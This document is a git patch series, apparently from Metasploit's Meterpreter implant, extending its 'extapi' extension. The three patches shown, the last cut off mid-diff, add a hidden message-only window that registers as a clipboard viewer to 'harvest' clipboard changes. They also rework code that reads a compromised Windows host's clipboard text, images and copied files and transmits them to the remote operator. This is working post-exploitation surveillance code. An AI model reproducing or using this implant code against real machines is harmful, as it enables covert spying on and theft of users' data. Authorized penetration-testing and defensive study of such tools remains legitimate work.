From 79ac562f9f1981c0f096ae2279b21dc1d9ee7c2e Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 20 Nov 2013 10:23:00 +1000
Subject: [PATCH 01/20] Added stops for monitoring

Small commit to save interim work, way more to come.
---
 .../source/extensions/extapi/clipboard.c      | 20 +++++++++++++++++++
 .../source/extensions/extapi/clipboard.h      |  2 ++
 .../source/extensions/extapi/extapi.c         |  2 ++
 3 files changed, 24 insertions(+)

diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index a8412518..f46e6386 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -443,4 +443,24 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 #else
 	return ERROR_NOT_SUPPORTED;
 #endif
+}
+
+DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
+{
+#ifdef _WIN32
+	DWORD dwResult = ERROR_SUCCESS;
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
+{
+#ifdef _WIN32
+	DWORD dwResult = ERROR_SUCCESS;
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
 }
\ No newline at end of file
diff --git a/c/meterpreter/source/extensions/extapi/clipboard.h b/c/meterpreter/source/extensions/extapi/clipboard.h
index eea42a5e..143490f4 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.h
+++ b/c/meterpreter/source/extensions/extapi/clipboard.h
@@ -7,5 +7,7 @@
 
 DWORD request_clipboard_set_data(Remote *remote, Packet *packet);
 DWORD request_clipboard_get_data(Remote *remote, Packet *packet);
+DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
+DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
 
 #endif
diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c
index a4c6a7df..3e36e675 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.c
+++ b/c/meterpreter/source/extensions/extapi/extapi.c
@@ -25,6 +25,8 @@ Command customCommands[] =
 	COMMAND_REQ("extapi_service_query", request_service_query),
 	COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
 	COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
+	COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
+	COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
 	COMMAND_TERMINATOR
 };
 

From ce9c5713fa594018cc5c03c61f216a284694f64b Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 20 Nov 2013 15:30:34 +1000
Subject: [PATCH 02/20] Set warnings as errors on extapi

---
 .../workspace/ext_server_extapi/ext_server_extapi.vcxproj | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
index f58a3dff..54dd2bbe 100644
--- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
+++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
@@ -114,6 +114,7 @@
       <PrecompiledHeader>
       </PrecompiledHeader>
       <WarningLevel>Level3</WarningLevel>
+      <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
     </ClCompile>
     <Link>
       <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -142,6 +143,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <PrecompiledHeader>
       </PrecompiledHeader>
       <WarningLevel>Level3</WarningLevel>
+      <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
     </ClCompile>
     <Link>
       <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -174,6 +176,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <WarningLevel>Level3</WarningLevel>
       <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
       <AdditionalIncludeDirectories>..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
     </ClCompile>
     <Link>
       <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -207,6 +210,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <WarningLevel>Level3</WarningLevel>
       <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
       <AdditionalIncludeDirectories>..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+      <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
     </ClCompile>
     <Link>
       <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -245,6 +249,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
       <BufferSecurityCheck>false</BufferSecurityCheck>
       <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+      <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
     </ClCompile>
     <Link>
       <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -294,6 +299,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
       <BufferSecurityCheck>false</BufferSecurityCheck>
       <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+      <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
     </ClCompile>
     <Link>
       <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -345,6 +351,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <WarningLevel>Level3</WarningLevel>
       <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
       <BufferSecurityCheck>false</BufferSecurityCheck>
+      <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
     </ClCompile>
     <Link>
       <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@@ -394,6 +401,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
       <WarningLevel>Level3</WarningLevel>
       <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
       <BufferSecurityCheck>false</BufferSecurityCheck>
+      <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
     </ClCompile>
     <Link>
       <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>

From 6d68699012348902631a80ed626615598cd5a57c Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 21 Nov 2013 12:06:50 +1000
Subject: [PATCH 03/20] Add basic clipboard monitor plumbing

---
 c/meterpreter/make.bat                        |   2 +
 c/meterpreter/source/common/common.h          |  10 +-
 .../source/extensions/extapi/clipboard.c      | 576 +++++++++++++++++-
 .../source/extensions/extapi/clipboard.h      |   2 +
 .../source/extensions/extapi/extapi.c         |   2 +
 .../source/extensions/extapi/extapi.h         |   4 +
 6 files changed, 566 insertions(+), 30 deletions(-)

diff --git a/c/meterpreter/make.bat b/c/meterpreter/make.bat
index b25647a5..2d535666 100644
--- a/c/meterpreter/make.bat
+++ b/c/meterpreter/make.bat
@@ -9,6 +9,8 @@ SET PREF=
 IF EXIST "..\pssdk\PSSDK_VC%PSSDK_VER%_LIB\_Libs\pssdk_vc%PSSDK%_mt.lib" SET PREF=r7_
 
 IF "%1"=="x86" GOTO BUILD_X86
+IF "%1"=="X86" GOTO BUILD_X86
+IF "%1"=="x64" GOTO BUILD_X64
 IF "%1"=="X64" GOTO BUILD_X64
 
 ECHO "Building Meterpreter x64 and x86 (Release)"
diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h
index 635c4337..64495bfc 100644
--- a/c/meterpreter/source/common/common.h
+++ b/c/meterpreter/source/common/common.h
@@ -162,7 +162,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
 #include <wininet.h>
 
 /*! @brief When defined, debug output is enabled on Windows builds. */
-//#define DEBUGTRACE 1
+#define DEBUGTRACE 1
 
 #ifdef DEBUGTRACE
 #define dprintf(...) real_dprintf(__VA_ARGS__)
@@ -171,13 +171,13 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
 #endif
 
 /*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
-#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
+#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
 /*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
-#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
+#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
 /*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
-#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
+#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
 /*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
-#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
+#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
 
 /*! @brief Close a service handle if not already closed and set the handle to NULL. */
 #define CLOSE_SERVICE_HANDLE( h )  if( h ) { CloseServiceHandle( h ); h = NULL; }
diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index f46e6386..64e9afb0 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -1,12 +1,43 @@
 /*!
- * @file clipboard.h
+ * @file clipboard.c
  * @brief Definitions for clipboard interaction functionality.
  */
 #include "extapi.h"
+#include "../../common/thread.h"
 #include "clipboard.h"
 #include "clipboard_image.h"
 
+typedef struct _ClipboardState
+{
 #ifdef _WIN32
+	/*! @brief Name to use for the window class when registering the message-only window. */
+	char cbWindowClass[256];
+	/*! @brief Handle to the clipboard monitor window. */
+	HWND hClipboardWindow;
+	/*! @brief Handle to the next window in the clipboard chain. */
+	HWND hNextViewer;
+#endif
+	/*! @brief Indicates if the thread is running or not. */
+	BOOL bRunning;
+	/*! @brief Handle to the event that signals when the thread has actioned the caller's request. */
+	EVENT* hResponseEvent;
+	/*! @brief Signalled when the caller wants the thread to pause. */
+	EVENT* hPauseEvent;
+	/*! @brief Signalled when the caller wants the thread to resume. */
+	EVENT* hResumeEvent;
+	/*! @brief Automatically download files copied to the clipboard. */
+	BOOL bDownloadFiles;
+	/*! @brief Automatically download image content copied to the clipboard. */
+	BOOL bDownloadImages;
+	/*! @brief Reference to the clipboard monitor thread. */
+	THREAD* hThread;
+} ClipboardState;
+
+/*! @brief Pointer to the state for the monitor thread. */
+static ClipboardState* gClipboardState = NULL;
+
+#ifdef _WIN32
+
 /*! @brief GlobalAlloc function pointer type. */
 typedef HGLOBAL(WINAPI * PGLOBALALLOC)(UINT uFlags, SIZE_T dwBytes);
 
@@ -50,8 +81,141 @@ typedef BOOL(WINAPI * PCLOSEHANDLE)(HANDLE hObject);
 /*! @brief GetFileSizeEx function pointer type. */
 typedef BOOL(WINAPI * PGETFILESIZEEX)(HANDLE hFile, PLARGE_INTEGER lpFileSize);
 
-#endif
+LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam, WPARAM wParam)
+{
+	ClipboardState* pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
 
+	if (!pState)
+	{
+		pState = gClipboardState;
+	}
+
+	switch (uMsg)
+	{
+	case WM_CREATE:
+		dprintf("[EXTAPI CLIPBOARD] received WM_CREATE %x", hWnd);
+		pState = (ClipboardState*)pState;
+		SetWindowLongPtrA(hWnd, GWLP_USERDATA, (LONG_PTR)pState);
+		pState->hNextViewer = SetClipboardViewer(hWnd);
+		dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer called, next viewer is %x", pState->hNextViewer);
+
+		if (!pState->hNextViewer)
+		{
+			dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer error %u", GetLastError());
+		}
+		break;
+
+	case WM_CHANGECBCHAIN: 
+		dprintf("[EXTAPI CLIPBOARD] received WM_CHANGECBCHAIN %x", hWnd);
+		if ((HWND)wParam == pState->hNextViewer)
+		{
+			pState->hNextViewer = (HWND)lParam;
+			dprintf("[EXTAPI CLIPBOARD] Next viewer is now %x", pState->hNextViewer);
+		}
+		else if (pState->hNextViewer)
+		{
+			SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
+		}
+        break;
+
+     case WM_DRAWCLIPBOARD:
+		dprintf("[EXTAPI CLIPBOARD] received WM_DRAWCLIPBOARD %x", hWnd);
+
+		if (pState->bRunning)
+		{
+			dprintf("[EXTAPI CLIPBOARD] thread is running, harvesting clipboard %x", hWnd);
+		}
+		else
+		{
+			dprintf("[EXTAPI CLIPBOARD] thread is no running, ignoring clipboard change %x", hWnd);
+		}
+
+		if (pState->hNextViewer)
+		{
+			dprintf("[EXTAPI CLIPBOARD] Passing on to %x", pState->hNextViewer);
+			SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
+		}
+        break;
+
+	case WM_DESTROY:
+		dprintf("[EXTAPI CLIPBOARD] received WM_DESTROY %x", hWnd);
+		ChangeClipboardChain(hWnd, pState->hNextViewer); 
+		break;
+
+	default:
+		return DefWindowProcA(hWnd, uMsg, lParam, wParam);
+	}
+
+	return (LRESULT)NULL;
+}
+
+DWORD create_clipboard_monitor_window(ClipboardState* pState)
+{
+	DWORD dwResult;
+	BOOL bRegistered = FALSE;
+	WNDCLASSEXA wndClass = { 0 };
+
+	wndClass.cbSize = sizeof(WNDCLASSEXA);
+	wndClass.lpfnWndProc = (WNDPROC)clipboard_monitor_window_proc;
+	wndClass.hInstance = GetModuleHandleA(NULL);
+	wndClass.lpszClassName = pState->cbWindowClass;
+
+	dprintf("[EXTAPI CLIPBOARD] Setting up the monitor window. Class = %s from %p -> %s", wndClass.lpszClassName, pState, pState->cbWindowClass);
+
+	do
+	{
+		if (!RegisterClassExA(&wndClass))
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to register window class.");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Window registered");
+		bRegistered = TRUE;
+
+		pState->hClipboardWindow = CreateWindowExA(0, pState->cbWindowClass, pState->cbWindowClass, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, pState);
+
+		if (pState->hClipboardWindow == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to create message only window instance");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Window created");
+		dwResult = ERROR_SUCCESS;
+
+	} while (0);
+
+	if (pState->hClipboardWindow == NULL && bRegistered)
+	{
+		UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL));
+	}
+
+	return dwResult;
+}
+
+DWORD destroy_clipboard_monitor_window(ClipboardState* pState)
+{
+	DWORD dwResult;
+
+	do
+	{
+		dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor window: %p", pState);
+		if (!DestroyWindow(pState->hClipboardWindow))
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to destroy the clipboard window");
+		}
+
+		if (!UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL)))
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to destroy the clipboard window");
+		}
+
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	return dwResult;
+}
+
+#endif
 /*!
  * @brief Handle the request to get the data from the clipboard.
  * @details This function currently only supports the following clipboard data formats:
@@ -109,38 +273,55 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 	{
 		dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
 		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
 		if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
 		if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
 		if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
 		if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
 		if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData");
 		if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats");
 		if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll");
+		}
 
 		// Try to get a lock on the clipboard
-		if (!pOpenClipboard(NULL)) {
+		if (!pOpenClipboard(NULL))
+		{
 			dwResult = GetLastError();
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
 		}
@@ -149,23 +330,25 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 
 		while (uFormat = pEnumClipboardFormats(uFormat))
 		{
-			if (uFormat == CF_TEXT) {
+			if (uFormat == CF_TEXT)
+			{
 				// there's raw text on the clipboard
 				if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL
-					&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) {
-
+					&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL)
+				{
 					dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString);
 					packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString);
 
 					pGlobalUnlock(hClipboardData);
 				}
 			}
-			else if (uFormat == CF_DIB) {
+			else if (uFormat == CF_DIB)
+			{
 				dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data");
 				// an image of some kind is on the clipboard
 				if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL
-					&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) {
-
+					&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL)
+				{
 					dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions.");
 
 					// grab the bitmap image size
@@ -184,15 +367,17 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 					dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
 						bImageDownload ? "WILL" : "will NOT");
 
-					if (!bImageDownload) {
+					if (!bImageDownload)
+					{
 						packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2);
 					}
-					else {
+					else
+					{
 						lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE);
 
 						// TODO: add the ability to encode with multiple encoders and return the smallest image.
-						if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) {
-
+						if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS)
+						{
 							dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
 							imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA;
 							imageTlv[2].header.length = image.dwImageBufferSize;
@@ -207,7 +392,8 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 
 							free(image.pImageBuffer);
 						}
-						else {
+						else
+						{
 							dwResult = GetLastError();
 							dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG");
 						}
@@ -215,7 +401,8 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 
 					pGlobalUnlock(hClipboardData);
 				}
-				else {
+				else
+				{
 					dwResult = GetLastError();
 					dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information");
 				}
@@ -227,34 +414,46 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 				{
 					dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll");
 					if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA");
 					if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle");
 					if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx");
 					if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA");
 					if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data");
 					if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL
-						&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) {
-
+						&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL)
+					{
 						uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0);
 
 						dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount);
 
-						for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) {
-							if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) {
+						for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex)
+						{
+							if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName)))
+							{
 								dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName);
 
 								memset(&entries, 0, sizeof(entries));
@@ -268,8 +467,10 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 								entries[1].header.length = sizeof(QWORD);
 								entries[1].buffer = (PUCHAR)&largeInt.QuadPart;
 
-								if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) {
-									if (pGetFileSizeEx(hSourceFile, &largeInt)) {
+								if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL)
+								{
+									if (pGetFileSizeEx(hSourceFile, &largeInt))
+									{
 										largeInt.QuadPart = htonq(largeInt.QuadPart);
 									}
 
@@ -294,16 +495,24 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 	} while (0);
 
 	if (hShell32)
+	{
 		FreeLibrary(hShell32);
+	}
 
 	if (hKernel32)
+	{
 		FreeLibrary(hKernel32);
+	}
 
 	if (hUser32)
+	{
 		FreeLibrary(hUser32);
+	}
 
 	if (pResponse)
+	{
 		packet_transmit_response(dwResult, remote, pResponse);
+	}
 
 	return dwResult;
 #else
@@ -347,27 +556,39 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 	do
 	{
 		if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)) == NULL)
+		{
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
 		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
 		if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc");
 		if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
 		if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
 		if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
 		if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
@@ -375,22 +596,29 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
 		if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
+		{
